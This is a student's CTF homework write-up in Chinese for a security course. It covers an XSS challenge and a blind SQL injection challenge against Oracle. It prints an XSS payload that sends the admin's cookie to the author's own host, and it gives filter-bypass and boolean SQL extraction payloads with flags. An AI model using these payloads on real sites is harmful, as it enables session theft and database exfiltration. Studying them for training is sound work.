###### tags: `程安` # CS 2019 Fall - Homework 0x04 ### [0x04] how2xss `hackme.php`那個頁面的 input 只允許一個字元出現一次,實在是太雞巴 所有成對的 html tag 都不能用,連最基本的`alert(1)`都做不到= = 於是決定使用找上網找 writeup 大法 然後用`xss` `writeup` `character` `once` `one time` 等等的關鍵字去 google,就找到了 :::warning * [Security Fest 2019 CTF, entropian [web] write-up]( https://medium.com/@renwa/security-fest-2019-ctf-entropian-web-write-up-f81fb11f675b ::: 才發現原來 * 大小寫視為不同字元,估計是用`ascii()`去篩的 * 還有 html entity `&#xx` 和 ES6 unicode `\u{xx}` 可以去抽換字元 * 利用`window.name`去構造外部 url,然後用`eval(name)`去執行 ```htmlmixed= <!-- xss.php --> <script> window.name = "document.location='http://[my_ip]/?'+document.cookie"; window.location = "https://edu-ctf.kaibro.tw:30678/hackme.php? q=%3CSVG/ONLoAD=eval(n%26%2397;m\\u{65})%3E" <!-- <SVG/ONLoAD=eval(n{___a___}m{__e__})> --> </script> ``` 然後再去 report 那一頁讓 admin 去瀏覽我自己 server 上的`xss.php` ![](https://i.imgur.com/c78rRbZ.png) :::success FLAG{babyxss_easy_peasy_yo} ::: ### [0x04] Cathub v2 先簡單找一下哪邊似乎可以 SQL injection * login page * 這個是`POST METHOD`,應該不是 * index.php?page= * `index.php?page=(1)and((1)>(1))` 沒反應 * video.php?vid= * `video.php?vid=(1)and((1)>(1))` 影片消失了,應該就是這個了 * `'`和空白會被濾掉 * 空白可以用`()` `%09` `%0a` `\**\`來替代 來試他是哪種 DB (以下 payload 都接在`video.php?vid=(1)and`後面) :::warning true => 有影片 , false => 沒影片 , error => 語法錯 [參考︰https://github.com/w181496/Web-CTF-Cheatsheet] ::: * `((SELECT(1))=(1))` -- error : 不是 MySQL, MSSQL, SQLite, PostgreSQL * `((SELECT(1)FROM(dual))=(1))` -- true : 是 Oracle * `(ascii(substr((SELECT(user)FROM(dual)),1,1))>(1))` -- true : 再次確認是 Oracle + 確認`substr`和`ascii`(用來避免使用`'`)可以用 接下來我們就用 python script 來幫我們猜內容吧 (完整 script 另外附) * 基本payload : `"?vid=(1)and(ascii(substr(({}),{},1))<({}))"` * 第一個`{}`內 * 庫名 : `SELECT table_name FROM all_tables` * 表名 : `SELECT table_name FROM user_all_tables` * 欄位名 : `SELECT column_name FROM user_tab_columns WHERE table_name={...}` * 第二個`{}`為string的第幾個字元 * 第三個`{}`為ascii值,利用`>`來進行二分搜 另外要注意的是,例如我們要篩第二個表的名稱好了 ```sql -- 可以使用 SELECT table_name FROM user_all_tables OFFSET 1 ROWS FETCH NEXT 1 ROWS ONLY -- 不能使用,只能撈出第一筆資料,後面的全部撈不出來 SELECT table_name FROM user_all_tables WHERE rownum=2 ``` ![](https://i.imgur.com/qp33WwE.png)